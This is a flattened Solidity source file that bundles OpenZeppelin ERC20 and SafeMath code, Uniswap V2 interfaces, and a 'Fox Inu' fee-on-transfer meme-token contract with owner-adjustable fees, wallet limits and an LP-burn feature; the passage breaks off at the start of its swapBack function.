////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/
/* pragma solidity >=0.8.10; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract FoxInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Fox Inu", "FOXINU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 6;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 2;
uint256 _sellMarketingFee = 6;
uint256 _sellLiquidityFee = 1;
uint256 _sellDevFee = 2;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 90_000_000 * 1e18; // 100% from total supply maxTransactionAmountTxn
maxWallet = 90_000_000 * 1e18; // 200% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0xA2Ffad17c65B362652A6B74127aBfBDF29E33b4F); // set as marketing wallet
devWallet = address(0xA2Ffad17c65B362652A6B74127aBfBDF29E33b4F); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 25, "Must keep fees at 25% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
